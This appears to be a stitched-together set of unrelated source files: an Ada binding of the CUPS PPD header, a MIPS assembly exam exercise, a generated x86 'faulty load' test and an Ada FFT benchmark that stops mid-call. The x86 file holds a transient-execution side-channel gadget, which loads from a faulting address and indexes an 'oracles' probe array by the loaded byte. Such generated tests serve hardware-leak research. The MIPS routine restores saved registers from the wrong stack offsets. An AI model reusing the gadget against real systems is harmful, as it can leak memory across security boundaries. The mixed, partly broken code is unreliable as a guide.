type ppd_file_s_custom_min_array is array (0 .. 1) of aliased float;
type ppd_file_s_custom_max_array is array (0 .. 1) of aliased float;
type ppd_file_s_custom_margins_array is array (0 .. 3) of aliased float;
type ppd_file_s is record
language_level : aliased int; -- cups/ppd.h:295
color_device : aliased int; -- cups/ppd.h:296
variable_sizes : aliased int; -- cups/ppd.h:297
accurate_screens : aliased int; -- cups/ppd.h:298
contone_only : aliased int; -- cups/ppd.h:299
landscape : aliased int; -- cups/ppd.h:300
model_number : aliased int; -- cups/ppd.h:301
manual_copies : aliased int; -- cups/ppd.h:302
throughput : aliased int; -- cups/ppd.h:303
colorspace : aliased ppd_cs_t; -- cups/ppd.h:304
patches : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:305
num_emulations : aliased int; -- cups/ppd.h:306
emulations : access ppd_emul_t; -- cups/ppd.h:307
jcl_begin : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:308
jcl_ps : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:309
jcl_end : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:310
lang_encoding : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:311
lang_version : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:312
modelname : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:313
ttrasterizer : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:314
manufacturer : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:315
product : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:316
nickname : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:317
shortnickname : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:318
num_groups : aliased int; -- cups/ppd.h:319
groups : access ppd_group_t; -- cups/ppd.h:320
num_sizes : aliased int; -- cups/ppd.h:321
sizes : access ppd_size_t; -- cups/ppd.h:322
custom_min : aliased ppd_file_s_custom_min_array; -- cups/ppd.h:323
custom_max : aliased ppd_file_s_custom_max_array; -- cups/ppd.h:324
custom_margins : aliased ppd_file_s_custom_margins_array; -- cups/ppd.h:325
num_consts : aliased int; -- cups/ppd.h:326
consts : access ppd_const_t; -- cups/ppd.h:327
num_fonts : aliased int; -- cups/ppd.h:328
fonts : System.Address; -- cups/ppd.h:329
num_profiles : aliased int; -- cups/ppd.h:330
profiles : access ppd_profile_t; -- cups/ppd.h:331
num_filters : aliased int; -- cups/ppd.h:332
filters : System.Address; -- cups/ppd.h:333
flip_duplex : aliased int; -- cups/ppd.h:336
protocols : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:339
pcfilename : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:340
num_attrs : aliased int; -- cups/ppd.h:341
cur_attr : aliased int; -- cups/ppd.h:342
attrs : System.Address; -- cups/ppd.h:343
sorted_attrs : System.Address; -- cups/ppd.h:346
options : System.Address; -- cups/ppd.h:347
coptions : System.Address; -- cups/ppd.h:348
marked : System.Address; -- cups/ppd.h:351
cups_uiconstraints : System.Address; -- cups/ppd.h:354
cache : System.Address; -- cups/ppd.h:357
end record;
pragma Convention (C_Pass_By_Copy, ppd_file_s); -- cups/ppd.h:293
-- 1 = color device, 0 = grayscale
-- 1 = supports variable sizes, 0 = doesn't
-- 1 = supports accurate screens, 0 = not
-- 1 = continuous tone only, 0 = not
-- -90 or 90
-- Device-specific model number
-- 1 = Copies done manually, 0 = hardware
-- Pages per minute
-- Default colorspace
-- Patch commands to be sent to printer
-- Number of emulations supported
-- Emulations and the code to invoke them
-- Start JCL commands
-- Enter PostScript interpreter
-- End JCL commands
-- Language encoding
-- Language version (English, Spanish, etc.)
-- Model name (general)
-- Truetype rasterizer
-- Manufacturer name
-- Product name (from PS RIP/interpreter)
-- Nickname (specific)
-- Short version of nickname
-- Number of UI groups
-- UI groups
-- Number of page sizes
-- Page sizes
-- Minimum variable page size
-- Maximum variable page size
-- Margins around page
-- Number of UI/Non-UI constraints
-- UI/Non-UI constraints
-- Number of pre-loaded fonts
-- Pre-loaded fonts
-- Number of sRGB color profiles @deprecated@
-- sRGB color profiles @deprecated@
-- Number of filters
-- Filter strings...
--*** New in CUPS 1.1 ***
-- 1 = Flip page for back sides @deprecated@
--*** New in CUPS 1.1.19 ***
-- Protocols (BCP, TBCP) string @since CUPS 1.1.19/OS X 10.3@
-- PCFileName string @since CUPS 1.1.19/OS X 10.3@
-- Number of attributes @since CUPS 1.1.19/OS X 10.3@ @private@
-- Current attribute @since CUPS 1.1.19/OS X 10.3@ @private@
-- Attributes @since CUPS 1.1.19/OS X 10.3@ @private@
--*** New in CUPS 1.2/OS X 10.5 ***
-- Attribute lookup array @since CUPS 1.2/OS X 10.5@ @private@
-- Option lookup array @since CUPS 1.2/OS X 10.5@ @private@
-- Custom options array @since CUPS 1.2/OS X 10.5@ @private@
--*** New in CUPS 1.3/OS X 10.5 ***
-- Marked choices @since CUPS 1.3/OS X 10.5@ @private@
--*** New in CUPS 1.4/OS X 10.6 ***
-- cupsUIConstraints @since CUPS 1.4/OS X 10.6@ @private@
--*** New in CUPS 1.5 ***
-- PPD cache and mapping data @since CUPS 1.5/OS X 10.7@ @private@
subtype ppd_file_t is ppd_file_s;
-- * Prototypes...
--
function cupsMarkOptions
(ppd : access ppd_file_t;
num_options : int;
options : access CUPS.cups_cups_h.cups_option_t) return int; -- cups/ppd.h:365
pragma Import (C, cupsMarkOptions, "cupsMarkOptions");
procedure ppdClose (ppd : access ppd_file_t); -- cups/ppd.h:367
pragma Import (C, ppdClose, "ppdClose");
function ppdCollect
(ppd : access ppd_file_t;
section : ppd_section_t;
choices : System.Address) return int; -- cups/ppd.h:368
pragma Import (C, ppdCollect, "ppdCollect");
function ppdConflicts (ppd : access ppd_file_t) return int; -- cups/ppd.h:370
pragma Import (C, ppdConflicts, "ppdConflicts");
function ppdEmit
(ppd : access ppd_file_t;
fp : access Interfaces.C_Streams.FILEs;
section : ppd_section_t) return int; -- cups/ppd.h:371
pragma Import (C, ppdEmit, "ppdEmit");
function ppdEmitFd
(ppd : access ppd_file_t;
fd : int;
section : ppd_section_t) return int; -- cups/ppd.h:373
pragma Import (C, ppdEmitFd, "ppdEmitFd");
function ppdEmitJCL
(ppd : access ppd_file_t;
fp : access Interfaces.C_Streams.FILEs;
job_id : int;
user : Interfaces.C.Strings.chars_ptr;
title : Interfaces.C.Strings.chars_ptr) return int; -- cups/ppd.h:375
pragma Import (C, ppdEmitJCL, "ppdEmitJCL");
function ppdFindChoice (o : access ppd_option_t; option : Interfaces.C.Strings.chars_ptr) return access ppd_choice_t; -- cups/ppd.h:378
pragma Import (C, ppdFindChoice, "ppdFindChoice");
function ppdFindMarkedChoice (ppd : access ppd_file_t; keyword : Interfaces.C.Strings.chars_ptr) return access ppd_choice_t; -- cups/ppd.h:380
pragma Import (C, ppdFindMarkedChoice, "ppdFindMarkedChoice");
function ppdFindOption (ppd : access ppd_file_t; keyword : Interfaces.C.Strings.chars_ptr) return access ppd_option_t; -- cups/ppd.h:383
pragma Import (C, ppdFindOption, "ppdFindOption");
function ppdIsMarked
(ppd : access ppd_file_t;
keyword : Interfaces.C.Strings.chars_ptr;
option : Interfaces.C.Strings.chars_ptr) return int; -- cups/ppd.h:385
pragma Import (C, ppdIsMarked, "ppdIsMarked");
procedure ppdMarkDefaults (ppd : access ppd_file_t); -- cups/ppd.h:387
pragma Import (C, ppdMarkDefaults, "ppdMarkDefaults");
function ppdMarkOption
(ppd : access ppd_file_t;
keyword : Interfaces.C.Strings.chars_ptr;
option : Interfaces.C.Strings.chars_ptr) return int; -- cups/ppd.h:388
pragma Import (C, ppdMarkOption, "ppdMarkOption");
function ppdOpen (fp : access Interfaces.C_Streams.FILEs) return access ppd_file_t; -- cups/ppd.h:390
pragma Import (C, ppdOpen, "ppdOpen");
function ppdOpenFd (fd : int) return access ppd_file_t; -- cups/ppd.h:391
pragma Import (C, ppdOpenFd, "ppdOpenFd");
function ppdOpenFile (filename : Interfaces.C.Strings.chars_ptr) return access ppd_file_t; -- cups/ppd.h:392
pragma Import (C, ppdOpenFile, "ppdOpenFile");
function ppdPageLength (ppd : access ppd_file_t; name : Interfaces.C.Strings.chars_ptr) return float; -- cups/ppd.h:393
pragma Import (C, ppdPageLength, "ppdPageLength");
function ppdPageSize (ppd : access ppd_file_t; name : Interfaces.C.Strings.chars_ptr) return access ppd_size_t; -- cups/ppd.h:395
pragma Import (C, ppdPageSize, "ppdPageSize");
function ppdPageWidth (ppd : access ppd_file_t; name : Interfaces.C.Strings.chars_ptr) return float; -- cups/ppd.h:397
pragma Import (C, ppdPageWidth, "ppdPageWidth");
--*** New in CUPS 1.1.19 ***
function ppdErrorString (status : ppd_status_t) return Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:401
pragma Import (C, ppdErrorString, "ppdErrorString");
function ppdFindAttr
(ppd : access ppd_file_t;
name : Interfaces.C.Strings.chars_ptr;
spec : Interfaces.C.Strings.chars_ptr) return access ppd_attr_t; -- cups/ppd.h:402
pragma Import (C, ppdFindAttr, "ppdFindAttr");
function ppdFindNextAttr
(ppd : access ppd_file_t;
name : Interfaces.C.Strings.chars_ptr;
spec : Interfaces.C.Strings.chars_ptr) return access ppd_attr_t; -- cups/ppd.h:404
pragma Import (C, ppdFindNextAttr, "ppdFindNextAttr");
function ppdLastError (line : access int) return ppd_status_t; -- cups/ppd.h:406
pragma Import (C, ppdLastError, "ppdLastError");
--*** New in CUPS 1.1.20 ***
procedure ppdSetConformance (c : ppd_conform_t); -- cups/ppd.h:409
pragma Import (C, ppdSetConformance, "ppdSetConformance");
--*** New in CUPS 1.2 ***
function ppdCollect2
(ppd : access ppd_file_t;
section : ppd_section_t;
min_order : float;
choices : System.Address) return int; -- cups/ppd.h:412
pragma Import (C, ppdCollect2, "ppdCollect2");
function ppdEmitAfterOrder
(ppd : access ppd_file_t;
fp : access Interfaces.C_Streams.FILEs;
section : ppd_section_t;
limit : int;
min_order : float) return int; -- cups/ppd.h:415
pragma Import (C, ppdEmitAfterOrder, "ppdEmitAfterOrder");
function ppdEmitJCLEnd (ppd : access ppd_file_t; fp : access Interfaces.C_Streams.FILEs) return int; -- cups/ppd.h:418
pragma Import (C, ppdEmitJCLEnd, "ppdEmitJCLEnd");
function ppdEmitString
(ppd : access ppd_file_t;
section : ppd_section_t;
min_order : float) return Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:420
pragma Import (C, ppdEmitString, "ppdEmitString");
function ppdFindCustomOption (ppd : access ppd_file_t; keyword : Interfaces.C.Strings.chars_ptr) return access ppd_coption_t; -- cups/ppd.h:422
pragma Import (C, ppdFindCustomOption, "ppdFindCustomOption");
function ppdFindCustomParam (opt : access ppd_coption_t; name : Interfaces.C.Strings.chars_ptr) return access ppd_cparam_t; -- cups/ppd.h:425
pragma Import (C, ppdFindCustomParam, "ppdFindCustomParam");
function ppdFirstCustomParam (opt : access ppd_coption_t) return access ppd_cparam_t; -- cups/ppd.h:427
pragma Import (C, ppdFirstCustomParam, "ppdFirstCustomParam");
function ppdFirstOption (ppd : access ppd_file_t) return access ppd_option_t; -- cups/ppd.h:429
pragma Import (C, ppdFirstOption, "ppdFirstOption");
function ppdNextCustomParam (opt : access ppd_coption_t) return access ppd_cparam_t; -- cups/ppd.h:430
pragma Import (C, ppdNextCustomParam, "ppdNextCustomParam");
function ppdNextOption (ppd : access ppd_file_t) return access ppd_option_t; -- cups/ppd.h:431
pragma Import (C, ppdNextOption, "ppdNextOption");
function ppdLocalize (ppd : access ppd_file_t) return int; -- cups/ppd.h:432
pragma Import (C, ppdLocalize, "ppdLocalize");
function ppdOpen2 (fp : System.Address) return access ppd_file_t; -- cups/ppd.h:433
pragma Import (C, ppdOpen2, "ppdOpen2");
--*** New in CUPS 1.3/OS X 10.5 ***
function ppdLocalizeIPPReason
(ppd : access ppd_file_t;
reason : Interfaces.C.Strings.chars_ptr;
scheme : Interfaces.C.Strings.chars_ptr;
buffer : Interfaces.C.Strings.chars_ptr;
bufsize : size_t) return Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:436
pragma Import (C, ppdLocalizeIPPReason, "ppdLocalizeIPPReason");
--*** New in CUPS 1.4/OS X 10.6 ***
function cupsGetConflicts
(ppd : access ppd_file_t;
option : Interfaces.C.Strings.chars_ptr;
choice : Interfaces.C.Strings.chars_ptr;
options : System.Address) return int; -- cups/ppd.h:443
pragma Import (C, cupsGetConflicts, "cupsGetConflicts");
function cupsResolveConflicts
(ppd : access ppd_file_t;
option : Interfaces.C.Strings.chars_ptr;
choice : Interfaces.C.Strings.chars_ptr;
num_options : access int;
options : System.Address) return int; -- cups/ppd.h:447
pragma Import (C, cupsResolveConflicts, "cupsResolveConflicts");
function ppdInstallableConflict
(ppd : access ppd_file_t;
option : Interfaces.C.Strings.chars_ptr;
choice : Interfaces.C.Strings.chars_ptr) return int; -- cups/ppd.h:453
pragma Import (C, ppdInstallableConflict, "ppdInstallableConflict");
function ppdLocalizeAttr
(ppd : access ppd_file_t;
keyword : Interfaces.C.Strings.chars_ptr;
spec : Interfaces.C.Strings.chars_ptr) return access ppd_attr_t; -- cups/ppd.h:457
pragma Import (C, ppdLocalizeAttr, "ppdLocalizeAttr");
function ppdLocalizeMarkerName (ppd : access ppd_file_t; name : Interfaces.C.Strings.chars_ptr) return Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:459
pragma Import (C, ppdLocalizeMarkerName, "ppdLocalizeMarkerName");
function ppdPageSizeLimits
(ppd : access ppd_file_t;
minimum : access ppd_size_t;
maximum : access ppd_size_t) return int; -- cups/ppd.h:462
pragma Import (C, ppdPageSizeLimits, "ppdPageSizeLimits");
-- * C++ magic...
--
-- * "$Id: ppd.h 11056 2013-06-25 14:27:30Z msweet $"
-- *
-- * PostScript Printer Description definitions for CUPS.
-- *
-- * THESE APIS ARE DEPRECATED. TO COMPILE WITHOUT WARNINGS ADD
-- * -D_PPD_DEPRECATED="" TO YOUR COMPILE OPTIONS. THIS HEADER AND THESE
-- * FUNCTIONS WILL BE REMOVED IN A FUTURE RELEASE OF CUPS.
-- *
-- * Copyright 2007-2013 by Apple Inc.
-- * Copyright 1997-2007 by Easy Software Products, all rights reserved.
-- *
-- * These coded instructions, statements, and computer programs are the
-- * property of Apple Inc. and are protected by Federal copyright
-- * law. Distribution and use rights are outlined in the file "LICENSE.txt"
-- * which should have been included with this file. If this file is
-- * file is missing or damaged, see the license at "http://www.cups.org/".
-- *
-- * PostScript is a trademark of Adobe Systems, Inc.
-- *
-- * This code and any derivative of it may be used and distributed
-- * freely under the terms of the GNU General Public License when
-- * used with GNU Ghostscript or its derivatives. Use of the code
-- * (or any derivative of it) with software other than GNU
-- * GhostScript (or its derivatives) is governed by the CUPS license
-- * agreement.
-- *
-- * This file is subject to the Apple OS-Developed Software exception.
--
end CUPS.cups_ppd_h;
|
Miei-sorgenti/new/Esami/26.07.19/4 Combina Array/combineArr.asm | DigiOhhh/LabArchitettura2-2017-2018 | 1 | 179994 | <filename>Miei-sorgenti/new/Esami/26.07.19/4 Combina Array/combineArr.asm
# La procedura combineArr riceve in input tre array A, B e C (passaggio per
# indirizzo) e un intero N che rappresenta il numero di elementi in ciascun array.
# I parametri vanno passati nell’ordine in cui sono enunciati (A, B, C e N). La
# procedura sovrascrive l’array C in memoria sostituendo ogni emento di C in po-
# sizione i-esima con combineInt(A[i], B[i], C[N-1-i]) Attenzione! L’elemento
# di C passato alla funzione combineInt è sempre quello passato dal chiamante di
# combineArr (il valore presente prima della sovrascrittura).
# L’implementazione di combineArr deve basarsi su chiamate multiple alla fun-
# zione combineInt implementata precedentemente.
.text
.globl combineArr
combineArr:
subu $sp, $sp, 48
sw $s0, 44($sp)
sw $s1, 40($sp)
sw $s2, 36($sp)
sw $s3, 32($sp)
sw $s5, 28($sp)
sw $s6, 24($sp)
sw $fp, 20($sp)
sw $ra, 16($sp)
addiu $fp, $sp, 36
move $s0, $a0
move $s1, $a1
move $s2, $a2
move $s3, $a3
li $t0, 0 # $t0 <-- indice del ciclo
li $t1, 12 # $t1 <-- offset per lo stack
# Questo ciclo serve per salvare gli elementi di C nello stack
first_for: beq $t0, $s3, continue
mul $t2, $t0, 4
add $t3, $t2, $s2
lw $t3, ($t3)
sub $t4, $t1, $t2
add $t4, $t4, $sp
sw $t3, ($t4)
addi $t0, $t0, 1
j first_for
continue: li $t0, 0
li $t1, 0
li $t2, 0
li $t3, 0
li $t4, 0
li $s5, 0 # $s5 <-- indice del ciclo
move $s6, $sp # $s6 <-- copia di $sp
second_for: beq $s5, $s3, return
mul $t0, $s5, 4
add $t1, $t0, $s0
add $t0, $t0, $s1
lw $t1, ($t1)
lw $t0, ($t0)
lw $t2, ($s6)
addi $s6, $s6, 4
move $a0, $t1
move $a1, $t0
move $a2, $t2
jal combineInt
mul $t0, $s5, 4
add $t0, $t0, $s2
sw $v0, ($t0)
addi $s5, $s5, 1
j second_for
return: lw $ra, 16($sp)
lw $fp, 20($sp)
lw $s3, 24($sp)
lw $s2, 28($sp)
lw $s1, 32($sp)
lw $s0, 36($sp)
addi $sp, $sp, 48
jr $ra
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_232.asm | ljhsiun2/medusa | 9 | 175822 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x11b49, %rsi
lea addresses_WT_ht+0xdcc9, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub $1368, %rbx
mov $9, %rcx
rep movsw
nop
nop
nop
sub %r15, %r15
lea addresses_A_ht+0x3891, %rdx
nop
nop
nop
sub $64542, %r15
mov (%rdx), %rdi
nop
nop
nop
nop
nop
dec %r15
lea addresses_WT_ht+0x9a1e, %rsi
lea addresses_WC_ht+0x1b589, %rdi
nop
sub $3831, %r11
mov $24, %rcx
rep movsb
nop
xor $12289, %rcx
lea addresses_WT_ht+0xf0c9, %rsi
lea addresses_normal_ht+0x16bb, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $100, %rcx
rep movsw
nop
dec %r15
lea addresses_normal_ht+0x52c9, %rcx
nop
nop
nop
nop
cmp %rsi, %rsi
movb $0x61, (%rcx)
nop
inc %rcx
lea addresses_normal_ht+0x4ae, %rsi
nop
dec %r11
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
nop
nop
nop
inc %rcx
lea addresses_D_ht+0xa41d, %rbx
xor $51994, %rdx
movb (%rbx), %cl
and $48677, %rcx
lea addresses_D_ht+0x1e5c9, %rdi
nop
nop
nop
nop
xor %rbx, %rbx
mov (%rdi), %rsi
nop
nop
and $63115, %rdi
lea addresses_WT_ht+0xef09, %rsi
lea addresses_UC_ht+0x1c3c9, %rdi
nop
nop
sub $29672, %r15
mov $45, %rcx
rep movsb
dec %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rax
push %rbp
push %rcx
push %rdi
// Store
mov $0xf49, %r10
nop
nop
nop
nop
sub $30111, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm4
movups %xmm4, (%r10)
nop
nop
dec %rcx
// Load
mov $0x1c9, %r10
nop
nop
nop
nop
inc %rbp
movups (%r10), %xmm7
vpextrq $1, %xmm7, %rax
cmp %r8, %r8
// Store
mov $0x13274e00000002dc, %r14
nop
nop
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %rbp
movq %rbp, %xmm0
movups %xmm0, (%r14)
nop
nop
nop
nop
and $46522, %r8
// Store
lea addresses_D+0x14349, %rcx
nop
sub $14318, %r8
movw $0x5152, (%rcx)
sub $19502, %rbp
// Faulty Load
lea addresses_PSE+0x1f9c9, %rbp
nop
nop
nop
nop
nop
and $51363, %rdi
mov (%rbp), %ecx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': True, 'size': 8, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
fourier/fourier8_tst_1.adb | jscparker/math_packages | 30 | 3242 | <gh_stars>10-100
--***************************************************************
-- Procedure benchmarks FFT. 50000 calls to FFT and 50000 calls to
-- to the inverse FFT.
-- The FFT does 4N*ln(N) flops per call, where N=array length.
-- So 100000 FFT's do:
-- 1840*10**6 flops where N=512.
-- 4100*10**6 flops where N=1024.
--***************************************************************
with Fourier8;
with Text_IO; use Text_IO;
with Ada.Numerics.Generic_Elementary_Functions;
procedure fourier8_tst_1 is
type Real is digits 15;
package math is new Ada.Numerics.Generic_Elementary_Functions (Real);
use math;
package rio is new Float_IO(Real);
use rio;
package iio is new Integer_IO(Integer);
use iio;
--No_of_Repetitions : constant := 25_000; -- std, as described above.
No_of_Repetitions : constant := 1;
Log_Of_Max_Data_Length : constant := 22;
-- Means max data array size is 2**Log_Of_Max_Data_Length.
-- The larger you make this array, the slower program might run.
subtype Array_Index is Integer range 0..2**Log_Of_Max_Data_Length + 0;
-- Sometimes its faster to add a bit to the end.
--subtype Array_Index is Integer range 0..2**Log_Of_Max_Data_Length+1;
--subtype Array_Index is Integer range 0..2**(Log_Of_Max_Data_Length+1)-2;
type Data_Array is array(Array_Index) of Real;
package fft8 is new Fourier8
(Real, Array_Index, Data_Array, Log_Of_Max_Data_Length);
use fft8;
--Do_the_Bit_Reversal : constant Boolean := False;
Do_the_Bit_Reversal : constant Boolean := True;
D_Re : Data_Array;
D_Im : Data_Array;
Transformed_Data_Last, Data_Set_Last : Data_Index;
Theta : Real;
Inverse_No_Points, Inverse_No_Points2 : Real;
Num : Integer;
Error, D_Old, Max_Error : Real;
Transformed_Data_Length : Real;
Exp_Table : Exp_Storage;
-- and add the following to the FFT parameter list:
--
-- Exp_Table => Exp_Table,
--
------------------
-- Integer_Log2 --
------------------
function Integer_Log2 (I : Array_Index)
return Integer
is
Logarithm : Integer := 0;
Argument : constant Integer := Integer(I);
-- Rounds down, so on range (eg) 0..2**15-1 it
-- returns 0 .. 14, It returns 0 for I in 0..1
-- returns 1 for I in 2..3, etc.
begin
for Exponent in 0..63 loop
exit when 2**Exponent > Argument;
Logarithm := Exponent;
end loop;
return Logarithm;
end Integer_Log2;
begin
new_line;
put ("Enter number of data points in the FFT.");
new_line;
put ("Using a power of 2 like 1024 is good idea if you are doing benchmarks.");
new_line;
put ("Enter the desired number: ");
get (Num);
new_line;
Data_Set_Last := Array_Index (Num-1);
--Inverse_No_Points := 1.0 / (Real (Data_Set_Last) + 1.0);
-- But if Data_Set_Last+1 is not a power of 2, then FFT will pad data set
-- out to the nearest power of two. That is what we must divide by:
Transformed_Data_Length := 2.0**(Integer_Log2(Data_Set_Last) + 1);
Inverse_No_Points := 1.0 / Transformed_Data_Length;
Inverse_No_Points2 := Inverse_No_Points**2;
for I in Array_Index loop
D_Re(I) := 0.0;
D_Im(I) := 0.0;
end loop;
for I in Array_Index range 0..Data_Set_Last loop
Theta := Real (I);
D_Re(I) := 1.0 / (Theta + 1.0);
D_Im(I) := 1.0E-3 * Theta;
end loop;
for I in 1 .. No_of_Repetitions loop
FFT (Data_Re => D_Re,
Data_Im => D_Im,
Transformed_Data_Last => Transformed_Data_Last,
Input_Data_Last => Data_Set_Last,
Exp_Table => Exp_Table,
